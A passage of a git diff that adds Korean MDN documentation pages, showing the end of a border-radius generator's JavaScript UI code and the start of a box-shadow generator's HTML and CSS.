+ node.className = 'ui-input-slider ui-input-slider-container';
+
+ this.input = input;
+ sliders[topic] = this;
+ setValue(topic, value);
+ }
+
+ var setValue = function setValue(topic, value, send_notify) {
+ var slider = sliders[topic];
+ if (slider === undefined)
+ return;
+
+ if (value &gt; slider.max) value = slider.max;
+ if (value &lt; slider.min) value = slider.min;
+
+ slider.value = value;
+ slider.node.setAttribute('data-value', value);
+
+ if (send_notify !== undefined &amp;&amp; send_notify === false) {
+ slider.input.value = value + slider.unit;
+ return;
+ }
+
+ notify.call(slider);
+ }
+
+ var setMax = function setMax(topic, value) {
+ var slider = sliders[topic];
+ if (slider === undefined)
+ return;
+
+ slider.max = value;
+ setValue(topic, slider.value);
+ }
+
+ var setMin = function setMin(topic, value) {
+ var slider = sliders[topic];
+ if (slider === undefined)
+ return;
+
+ slider.min = value;
+ setValue(topic, slider.value);
+ }
+
+ var setUnit = function setUnit(topic, unit) {
+ var slider = sliders[topic];
+ if (slider === undefined)
+ return;
+
+ slider.unit = unit;
+ setValue(topic, slider.value);
+ }
+
+ var getNode = function getNode(topic) {
+ return sliders[topic].node;
+ }
+
+ var subscribe = function subscribe(topic, callback) {
+ if (subscribers[topic] === undefined)
+ subscribers[topic] = [];
+ subscribers[topic].push(callback);
+ }
+
+ var unsubscribe = function unsubscribe(topic, callback) {
+ subscribers[topic].indexOf(callback);
+ subscribers[topic].splice(index, 1);
+ }
+
+ var notify = function notify() {
+ for (var i in subscribers[this.topic]) {
+ subscribers[this.topic][i](this.value);
+ }
+ }
+
+ var init = function init() {
+ var elem = document.querySelectorAll('.ui-input-slider');
+ var size = elem.length;
+ for (var i = 0; i &lt; size; i++)
+ new InputSlider(elem[i]);
+ }
+
+ return {
+ init : init,
+ setMax : setMax,
+ setMin : setMin,
+ setUnit : setUnit,
+ getNode : getNode,
+ setValue : setValue,
+ subscribe : subscribe,
+ unsubscribe : unsubscribe
+ }
+
+})();
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+ var subscribers = [];
+ var buttons = [];
+
+ var CheckBox = function CheckBox(node) {
+ var topic = node.getAttribute('data-topic');
+ var state = node.getAttribute('data-state');
+ var name = node.getAttribute('data-label');
+ var align = node.getAttribute('data-text-on');
+
+ state = (state === "true");
+
+ var checkbox = document.createElement("input");
+ var label = document.createElement("label");
+
+ var id = 'checkbox-' + topic;
+ checkbox.id = id;
+ checkbox.setAttribute('type', 'checkbox');
+ checkbox.checked = state;
+
+ label.setAttribute('for', id);
+ if (name) {
+ label.className = 'text';
+ if (align)
+ label.className += ' ' + align;
+ label.textContent = name;
+ }
+
+ node.appendChild(checkbox);
+ node.appendChild(label);
+
+ this.node = node;
+ this.topic = topic;
+ this.checkbox = checkbox;
+
+ checkbox.addEventListener('change', function(e) {
+ notify.call(this);
+ }.bind(this));
+
+ buttons[topic] = this;
+ }
+
+ var getNode = function getNode(topic) {
+ return buttons[topic].node;
+ }
+
+ var setValue = function setValue(topic, value) {
+ try {
+ buttons[topic].checkbox.checked = value;
+ }
+ catch(error) {
+ console.log(error);
+ }
+ }
+
+ var subscribe = function subscribe(topic, callback) {
+ if (subscribers[topic] === undefined)
+ subscribers[topic] = [];
+
+ subscribers[topic].push(callback);
+ }
+
+ var unsubscribe = function unsubscribe(topic, callback) {
+ subscribers[topic].indexOf(callback);
+ subscribers[topic].splice(index, 1);
+ }
+
+ var notify = function notify() {
+ for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+ subscribers[this.topic][i](this.checkbox.checked);
+ }
+
+ var init = function init() {
+ var elem = document.querySelectorAll('.ui-checkbox');
+ var size = elem.length;
+ for (var i = 0; i &lt; size; i++)
+ new CheckBox(elem[i]);
+ }
+
+ return {
+ init : init,
+ setValue : setValue,
+ subscribe : subscribe,
+ unsubscribe : unsubscribe
+ }
+
+})();
+
+
+window.addEventListener("load", function() {
+ BorderRadius.init();
+});
+
+var BorderRadius = (function BorderRadius() {
+
+ function getElemById(id) {
+ return document.getElementById(id);
+ }
+
+ /**
+ * Shadow dragging
+ */
+ var PreviewMouseTracking = (function Drag() {
+ var active = false;
+ var lastX = 0;
+ var lastY = 0;
+ var subscribers = [];
+
+ var init = function init(id) {
+ var elem = getElemById(id);
+ elem.addEventListener('mousedown', dragStart, false);
+ document.addEventListener('mouseup', dragEnd, false);
+ }
+
+ var dragStart = function dragStart(e) {
+ if (e.button !== 0)
+ return;
+
+ active = true;
+ lastX = e.clientX;
+ lastY = e.clientY;
+ document.addEventListener('mousemove', mouseDrag, false);
+ }
+
+ var dragEnd = function dragEnd(e) {
+ if (e.button !== 0)
+ return;
+
+ if (active === true) {
+ active = false;
+ document.removeEventListener('mousemove', mouseDrag, false);
+ }
+ }
+
+ var mouseDrag = function mouseDrag(e) {
+ notify(e.clientX - lastX, e.clientY - lastY);
+ lastX = e.clientX;
+ lastY = e.clientY;
+ }
+
+ var subscribe = function subscribe(callback) {
+ subscribers.push(callback);
+ }
+
+ var unsubscribe = function unsubscribe(callback) {
+ var index = subscribers.indexOf(callback);
+ subscribers.splice(index, 1);
+ }
+
+ var notify = function notify(deltaX, deltaY) {
+ for (var i in subscribers)
+ subscribers[i](deltaX, deltaY);
+ }
+
+ return {
+ init : init,
+ subscribe : subscribe,
+ unsubscribe : unsubscribe
+ }
+
+ })();
+
+ var subject;
+ var units = ['px', '%'];
+ var output = null;
+
+ var UnitSelector = function UnitSelector(topic) {
+
+ this.container = document.createElement("div");
+ this.select = document.createElement("select");
+ for (var i in units) {
+ var option = document.createElement("option");
+ option.value = i;
+ option.textContent = units[i];
+ this.select.appendChild(option);
+ }
+
+ this.container.className = 'dropdown ' + 'unit-' + topic;
+ this.container.appendChild(this.select);
+ }
+
+ UnitSelector.prototype.setValue = function setValue(value) {
+ this.salect.value = value;
+ }
+
+
+ var RadiusContainer = function RadiusContainer(node) {
+ var radius = document.createElement('div');
+ var handle = document.createElement('div');
+ var x = node.getAttribute('data-x');
+ var y = node.getAttribute('data-y');
+ var active = false;
+
+ this.id = node.id;
+ this.node = node;
+ this.radius = radius;
+ this.handle = handle;
+ this.width = 100;
+ this.height = 50;
+ this.size = 0;
+ this.rounded = false;
+
+ this.unitX = 0;
+ this.unitY = 0;
+ this.unitR = 0;
+
+ this.maxW = 100;
+ this.maxH = 100;
+ this.maxR = 100;
+
+ this.topic = y + '-' + x;
+
+ var sliderW = InputSliderManager.getNode(this.topic + '-w');
+ var sliderH = InputSliderManager.getNode(this.topic + '-h');
+ var sliderR = InputSliderManager.getNode(this.topic);
+
+ this.setUnitX(this.unitX);
+ this.setUnitY(this.unitY);
+ this.setUnitR(this.unitR);
+
+ this.updateWidth();
+ this.updateHeight();
+ this.updateRadius();
+
+ if (x === 'left') this.resizeX = 1;
+ if (x === 'right') this.resizeX = -1;
+ if (y === 'top') this.resizeY = 1;
+ if (y === 'bottom') this.resizeY = -1;
+
+ radius.className = 'radius';
+
+ var unit_selector = document.getElementById("unit-selection");
+ var unitW = new UnitSelector(this.topic + '-w');
+ var unitH = new UnitSelector(this.topic + '-h');
+ var unitR = new UnitSelector(this.topic);
+
+ unit_selector.appendChild(unitW.container);
+ unit_selector.appendChild(unitH.container);
+ unit_selector.appendChild(unitR.container);
+ node.appendChild(radius);
+ subject.appendChild(handle);
+
+ unitW.select.addEventListener('change', function(e) {
+ this.setUnitX(e.target.value | 0);
+ }.bind(this));
+
+ unitH.select.addEventListener('change', function(e) {
+ this.setUnitY(e.target.value | 0);
+ }.bind(this));
+
+ unitR.select.addEventListener('change', function(e) {
+ this.setUnitR(e.target.value | 0);
+ }.bind(this));
+
+ if (x === 'left' &amp;&amp; y == 'top') handle.className = 'handle handle-top-left'
+ if (x === 'right' &amp;&amp; y == 'top') handle.className = 'handle handle-top-right';
+ if (x === 'right' &amp;&amp; y == 'bottom') handle.className = 'handle handle-bottom-right';
+ if (x === 'left' &amp;&amp; y == 'bottom') handle.className = 'handle handle-bottom-left';
+
+ handle.addEventListener("mousedown", function(e) {
+ active = true;
+ this.radius.style.display = 'block';
+ PreviewMouseTracking.subscribe(this.updateContainer.bind(this));
+ }.bind(this));
+
+ document.addEventListener("mouseup", function(e) {
+ this.radius.style.display = 'none';
+ if (active === true)
+ PreviewMouseTracking.unsubscribe(this.updateContainer.bind(this));
+ }.bind(this));
+
+ InputSliderManager.subscribe(this.topic + '-w', this.setWidth.bind(this));
+ InputSliderManager.subscribe(this.topic + '-h', this.setHeight.bind(this));
+ InputSliderManager.subscribe(this.topic, this.setRadius.bind(this));
+
+ ButtonManager.subscribe(this.topic, function(value) {
+ this.rounded = value;
+ if (value === true) {
+ unitW.container.style.display = 'none';
+ unitH.container.style.display = 'none';
+ unitR.container.style.display = 'block';
+ sliderW.style.display = 'none';
+ sliderH.style.display = 'none';
+ sliderR.style.display = 'block';
+ this.setUnitR(this.unitR);
+ this.updateRadius();
+ }
+
+ if (value === false) {
+ unitW.container.style.display = 'block';
+ unitH.container.style.display = 'block';
+ unitR.container.style.display = 'none';
+ sliderW.style.display = 'block';
+ sliderH.style.display = 'block';
+ sliderR.style.display = 'none';
+ this.setUnitX(this.unitX);
+ this.setUnitY(this.unitY);
+ this.updateWidth();
+ this.updateHeight();
+ }
+
+ this.updateBorderRadius();
+
+ }.bind(this));
+
+ this.updateBorderRadius();
+ }
+
+ RadiusContainer.prototype.updateWidth = function updateWidth() {
+ this.node.style.width = this.width + units[this.unitX];
+ var value = Math.round(this.width / 2);
+ InputSliderManager.setValue(this.topic + '-w', value, false);
+ }
+
+ RadiusContainer.prototype.updateHeight = function updateHeight() {
+ this.node.style.height = this.height + units[this.unitY];
+ var value = Math.round(this.height / 2);
+ InputSliderManager.setValue(this.topic + '-h', value, false);
+ }
+
+ RadiusContainer.prototype.updateRadius = function updateRadius() {
+ var value = Math.round(this.size / 2);
+ this.node.style.width = this.size + units[this.unitR];
+ this.node.style.height = this.size + units[this.unitR];
+ InputSliderManager.setValue(this.topic, value, false);
+ }
+
+ RadiusContainer.prototype.setWidth = function setWidth(value) {
+ this.radius.style.display = 'block';
+ this.width = 2 * value;
+ this.node.style.width = this.width + units[this.unitX];
+ this.updateBorderRadius();
+ }
+
+ RadiusContainer.prototype.setHeight = function setHeight(value) {
+ this.radius.style.display = 'block';
+ this.height = 2 * value;
+ this.node.style.height = this.height + units[this.unitY];
+ this.updateBorderRadius();
+ }
+
+ RadiusContainer.prototype.setRadius = function setRadius(value) {
+ this.radius.style.display = 'block';
+ this.size = 2 * value;
+ this.node.style.width = this.size + units[this.unitR];
+ this.node.style.height = this.size + units[this.unitR];
+ this.updateBorderRadius();
+ }
+
+ RadiusContainer.prototype.setUnitX = function setUnitX(value) {
+ this.unitX = value;
+ if (this.unitX === 0) this.maxW = 2 * subject.clientWidth;
+ if (this.unitX === 1) this.maxW = 200;
+ InputSliderManager.setUnit(this.topic + '-w', units[this.unitX]);
+ InputSliderManager.setMax(this.topic + '-w', this.maxW / 2);
+ }
+
+ RadiusContainer.prototype.setUnitY = function setUnitY(value) {
+ this.unitY = value;
+ if (this.unitY === 0) this.maxH = 2 * subject.clientHeight;
+ if (this.unitY === 1) this.maxH = 200;
+ InputSliderManager.setUnit(this.topic + '-h', units[this.unitY]);
+ InputSliderManager.setMax(this.topic + '-h', this.maxH / 2);
+ }
+
+ RadiusContainer.prototype.setUnitR = function setUnitR(value) {
+ this.unitR = value;
+
+ if (this.unitR === 0)
+ this.maxR = 2 * Math.min(subject.clientHeight , subject.clientWidth);
+
+ if (this.unitR === 1)
+ this.maxR = 200;
+
+ InputSliderManager.setUnit(this.topic, units[this.unitR]);
+ InputSliderManager.setMax(this.topic, this.maxR / 2);
+ }
+
+ RadiusContainer.prototype.updateUnits = function updateUnits(unit) {
+ if (this.rounded) {
+ this.setUnitR(this.unitR);
+ return;
+ }
+
+ if (unit === 0)
+ this.setUnitX(this.unitX);
+
+ if (unit === 1)
+ this.setUnitY(this.unitY);
+ }
+
+ RadiusContainer.prototype.composeBorderRadius = function composeBorderRadius () {
+
+ if (this.rounded === true) {
+ var unit = units[this.unitR];
+ var value = Math.round(this.size / 2);
+ return value + unit;
+ }
+
+ var unitX = units[this.unitX];
+ var unitY = units[this.unitY];
+ var valueX = Math.round(this.width / 2);
+ var valueY = Math.round(this.height / 2);
+
+ if (valueX === valueY &amp;&amp; this.unitX === this.unitY)
+ return valueX + unitX;
+
+ return valueX + unitX + ' ' + valueY + unitY;
+ }
+
+ RadiusContainer.prototype.updateBorderRadius = function updateBorderRadius () {
+ var radius = this.composeBorderRadius();
+ var corner = 0;
+
+ if (this.topic === 'top-left') {
+ subject.style.borderTopLeftRadius = radius;
+ corner = 0;
+ }
+
+ if (this.topic === 'top-right') {
+ subject.style.borderTopRightRadius = radius;
+ corner = 1;
+ }
+
+ if (this.topic === 'bottom-right') {
+ subject.style.borderBottomRightRadius = radius;
+ corner = 2;
+ }
+
+ if (this.topic === 'bottom-left') {
+ subject.style.borderBottomLeftRadius = radius;
+ corner = 3;
+ }
+
+ Tool.updateOutput(corner, radius);
+ }
+
+ RadiusContainer.prototype.updateContainer = function updateContainer(deltaX, deltaY) {
+
+ if (this.rounded === true) {
+ this.size += this.resizeX * deltaX + this.resizeY * deltaY;
+ if (this.size &lt; 0) this.size = 0;
+ if (this.size &gt; this.maxR) this.size = this.maxR;
+ this.updateRadius();
+ this.updateBorderRadius();
+ return;
+ }
+
+ if (deltaX) {
+ this.width += this.resizeX * deltaX;
+ if (this.width &lt; 0) this.width = 0;
+ if (this.width &gt; this.maxW) this.width = this.maxW;
+ this.updateWidth();
+ }
+
+ if (deltaY) {
+ this.height += this.resizeY * deltaY;
+ if (this.height &lt; 0) this.height = 0;
+ if (this.height &gt; this.maxH) this.height = this.maxH;
+ this.updateHeight();
+ }
+
+ if (deltaX || deltaY)
+ this.updateBorderRadius();
+ }
+
+
+ /**
+ * Tool Manager
+ */
+ var Tool = (function Tool() {
+ var preview;
+ var preview_ui;
+ var radius_containers = [];
+ var border_width = 3;
+ var borders1 = [null, null, null, null];
+ var borders2 = [0, 0, 0, 0];
+
+ var updateUIWidth = function updateUIWidth(value) {
+ var pwidth = subject.parentElement.clientWidth;
+ var left = (pwidth - value) / 2;
+ subject.style.width = value + "px";
+
+ for (var i = 0; i &lt; 4; i++)
+ radius_containers[i].updateUnits(0);
+ }
+
+ var updateUIHeight = function updateUIHeight(value) {
+ var pheight = subject.parentElement.clientHeight;
+ var top = (pheight - value) / 2;
+ subject.style.height = value + "px";
+ subject.style.top = top - border_width + "px";
+
+ for (var i = 0; i &lt; 4; i++)
+ radius_containers[i].updateUnits(1);
+ }
+
+ var updatePreviewUIWidth = function updatePreviewUIWidth() {
+ var p = subject.parentElement.clientWidth;
+ var v = preview_ui.clientWidth;
+ console.log(p, v, (p - v ) / 2);
+ preview_ui.style.left = (p - v) / 2 + "px" ;
+ }
+
+ var updatePreviewUIHeight = function updatePreviewUIHeight() {
+ var p = subject.parentElement.clientHeight;
+ var v = preview_ui.clientHeight;
+ console.log(p, v, (p - v ) / 2);
+ preview_ui.style.top = (p - v) / 2 + "px" ;
+ }
+
+ var updateOutput = function updateOutput(corner, radius) {
+ var values = radius.split(" ");
+
+ borders1[corner] = values[0];
+ borders2[corner] = values[0];
+
+ if (values.length === 2)
+ borders2[corner] = values[1];
+
+ var border_1_value = borders1.join(" ");
+ var border_2_value = borders2.join(" ");
+ var border_radius = 'border-radius: ' + border_1_value;
+
+ if (border_2_value !== border_1_value)
+ border_radius += ' / ' + border_2_value;
+
+ border_radius += ';';
+ output.textContent = border_radius;
+ }
+
+ var init = function init() {
+ preview = getElemById("preview");
+ subject = getElemById("subject");
+ output = getElemById("output");
+ preview_ui = getElemById("radius-ui-sliders");
+
+ var elem = document.querySelectorAll('.radius-container');
+ var size = elem.length;
+ for (var i = 0; i &lt; size; i++)
+ radius_containers[i] = new RadiusContainer(elem[i]);
+
+ InputSliderManager.subscribe("width", updateUIWidth);
+ InputSliderManager.subscribe("height", updateUIHeight);
+
+ InputSliderManager.setValue("width", subject.clientWidth);
+ InputSliderManager.setValue("height", subject.clientHeight);
+ }
+
+ return {
+ init : init,
+ updateOutput : updateOutput
+ }
+
+ })();
+
+ /**
+ * Init Tool
+ */
+ var init = function init() {
+ ButtonManager.init();
+ InputSliderManager.init();
+ PreviewMouseTracking.init("preview");
+ Tool.init();
+ }
+
+ return {
+ init : init
+ }
+
+})();
+
+
+</code></pre>
+</div>
+
+<div>{{ EmbedLiveSample('border-radius-generator', 700, 900) }}</div>
diff --git a/files/ko/web/css/css_background_and_borders/box-shadow_generator/index.html b/files/ko/web/css/css_background_and_borders/box-shadow_generator/index.html
new file mode 100644
index 0000000000..00b22833fb
--- /dev/null
+++ b/files/ko/web/css/css_background_and_borders/box-shadow_generator/index.html
@@ -0,0 +1,2881 @@
+---
+title: Box-shadow 생성기
+slug: Web/CSS/CSS_Background_and_Borders/Box-shadow_generator
+tags:
+ - CSS
+ - Tools
+translation_of: Web/CSS/CSS_Background_and_Borders/Box-shadow_generator
+---
+<p>이 도구를 사용해 CSS {{cssxref("box-shadow")}} 효과를 생성할 수 있습니다.</p>
+
+<div style="display: none;">
+<h2 id="box-shadow_generator" name="box-shadow_generator">box-shadow generator</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;div id="container"&gt;
+    &lt;div class="group section"&gt;
+        &lt;div id="layer_manager"&gt;
+            &lt;div class="group section"&gt;
+                &lt;div class="button" data-type="add"&gt; &lt;/div&gt;
+                &lt;div class="button" data-type="move-up"&gt; &lt;/div&gt;
+                &lt;div class="button" data-type="move-down"&gt; &lt;/div&gt;
+            &lt;/div&gt;
+            &lt;div id="stack_container"&gt;&lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="preview_zone"&gt;
+            &lt;div id="layer_menu" class="col span_12"&gt;
+                &lt;div class="button" id="element" data-type="subject" data-title="element"&gt; element &lt;/div&gt;
+                &lt;div class="button" id="before" data-type="subject" data-title=":before"&gt;
+                    :before
+                    &lt;span class="delete" data-type="disable"&gt;&lt;/span&gt;
+                &lt;/div&gt;
+                &lt;div class="button" id="after" data-type="subject" data-title=":after"&gt;
+                    :after
+                    &lt;span class="delete" data-type="disable"&gt;&lt;/span&gt;
+                &lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='before' data-label=":before"&gt;&lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='after' data-label=":after"&gt;&lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;div id="preview"&gt;
+                &lt;div id="obj-element"&gt;
+                    &lt;div class="content"&gt; &lt;/div&gt;
+                    &lt;div id="obj-before"&gt; &lt;/div&gt;
+                    &lt;div id="obj-after"&gt; &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div id="controls" class="group section"&gt;
+        &lt;div class="wrap-left"&gt;
+            &lt;div class="colorpicker category"&gt;
+                &lt;div class="title"&gt; &lt;/div&gt;
+                &lt;div id="colorpicker" class="group"&gt;
+                    &lt;div id="gradient" class="gradient"&gt;
+                        &lt;div id="gradient_picker"&gt; &lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div id="hue" data-topic="hue" class="hue"&gt;
+                        &lt;div id="hue_selector"&gt; &lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="info"&gt;
+                        &lt;div class="input" data-topic="hue" data-title='H:' data-action="HSV"&gt;&lt;/div&gt;
+                        &lt;div class="input" data-topic="saturation" data-title='S:' data-action="HSV"&gt;&lt;/div&gt;
+                        &lt;div class="input" data-topic="value" data-title='V:' data-action="HSV"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="alpha"&gt;
+                        &lt;div id="alpha" data-topic="alpha"&gt;
+                            &lt;div id="alpha_selector"&gt; &lt;/div&gt;
+                        &lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="info"&gt;
+                        &lt;div class="input" data-topic="r" data-title='R:' data-action="RGB"&gt;&lt;/div&gt;
+                        &lt;div class="input" data-topic="g" data-title='G:' data-action="RGB"&gt;&lt;/div&gt;
+                        &lt;div class="input" data-topic="b" data-title='B:' data-action="RGB"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="preview block"&gt;
+                        &lt;div id="output_color"&gt; &lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="block info"&gt;
+                        &lt;div class="input" data-topic="a" data-title='alpha:' data-action="alpha"&gt;&lt;/div&gt;
+                        &lt;div class="input" data-topic="hexa" data-title='' data-action="hexa"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div class="wrap-right"&gt;
+
+            &lt;div id="shadow_properties" class="category"&gt;
+                &lt;div class="title"&gt; Shadow properties &lt;/div&gt;
+                &lt;div class="group"&gt;
+                    &lt;div class="group property"&gt;
+                        &lt;div class="ui-slider-name"&gt; inset &lt;/div&gt;
+                        &lt;div class="ui-checkbox" data-topic='inset'&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Position x &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="posX" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="posX"
+                            data-min="-500" data-max="500" data-step="1"&gt; &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="posX" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="posX" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Position y &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="posY" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="posY"
+                            data-min="-500" data-max="500" data-step="1"&gt; &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="posY" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="posY" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Blur &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="blur" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="blur"
+                            data-min="0" data-max="200" data-step="1"&gt; &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="blur" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="blur" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Spread &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="spread" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="spread"
+                            data-min="-100"    data-max="100" data-step="1" data-value="50"&gt;
+                        &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="spread" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="spread" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;div id="element_properties" class="category"&gt;
+                &lt;div class="title"&gt; Class element properties &lt;/div&gt;
+                &lt;div class="group"&gt;
+                    &lt;div class="group property"&gt;
+                        &lt;div class="ui-slider-name"&gt; border &lt;/div&gt;
+                        &lt;div class="ui-checkbox" data-topic='border-state' data-state="true"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div id="z-index" class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; z-index &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="z-index" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="z-index"
+                            data-min="-10" data-max="10" data-step="1"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="z-index" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="z-index"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; top &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="top" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="top"
+                            data-min="-500" data-max="500" data-step="1"&gt; &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="top" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="top" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; left &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="left" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="left"
+                            data-min="-300" data-max="700" data-step="1"&gt; &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="left" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="left" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div id="transform_rotate" class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Rotate &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="rotate" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="rotate"
+                            data-min="-360" data-max="360" data-step="1" data-value="0"&gt;
+                        &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="rotate" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="rotate" data-unit="deg"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Width &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="width" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="width"
+                            data-min="0" data-max="1000" data-step="1" data-value="200"&gt;
+                        &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="width" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="width"  data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Height &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="height" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="height"
+                            data-min="0" data-max="400" data-step="1" data-value="200"&gt;
+                        &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="height" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="height" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;div id="output" class="category"&gt;
+                &lt;div id="menu" class="menu"&gt;&lt;/div&gt;
+                &lt;div class="title"&gt;    CSS Code &lt;/div&gt;
+                &lt;div class="group" style="border-top-left-radius: 0;"&gt;
+                    &lt;div class="output" data-topic="element" data-name="element"
+                        data-prop="width height background-color position=[relative] box-shadow"&gt;
+                    &lt;/div&gt;
+                    &lt;div class="output" data-topic="before" data-name="element:before"
+                        data-prop="content=[&amp;quot;&amp;quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform"&gt;
+                    &lt;/div&gt;
+                    &lt;div class="output" data-topic="after" data-name="element:after"
+                        data-prop="content=[&amp;quot;&amp;quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform"&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+    &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">/* GRID OF TWELVE
+ * ========================================================================== */
+
+.span_12 {
+ width: 100%;
+}
+
+.span_11 {
+ width: 91.46%;
+}
+
+.span_10 {
+ width: 83%;
+}
+
+.span_9 {
+ width: 74.54%;
+}
+
+.span_8 {
+ width: 66.08%;
+}
+
+.span_7 {
+ width: 57.62%;
+}
+
+.span_6 {
+ width: 49.16%;
+}
+
+.span_5 {
+ width: 40.7%;
+}
+
+.span_4 {
+ width: 32.24%;
+}
+
+.span_3 {
+ width: 23.78%;
+}
+
+.span_2 {
+ width: 15.32%;
+}
+
+.span_1 {
+ width: 6.86%;
+}
+
+
+/* SECTIONS
+ * ========================================================================== */
+
+.section {
+ clear: both;
+ padding: 0px;
+ margin: 0px;
+}
+
+/* GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+ content: "";
+ display: table;
+}
+
+.group:after {
+ clear:both;
+}
+
+.group {
+ zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/* GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+ display: block;
+ float:left;
+ margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+ margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+/*
+ * UI Slider
+ */
+
+.slidergroup {
+ height: 20px;
+ margin: 10px 0;
+ font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+ -moz-user-select: none;
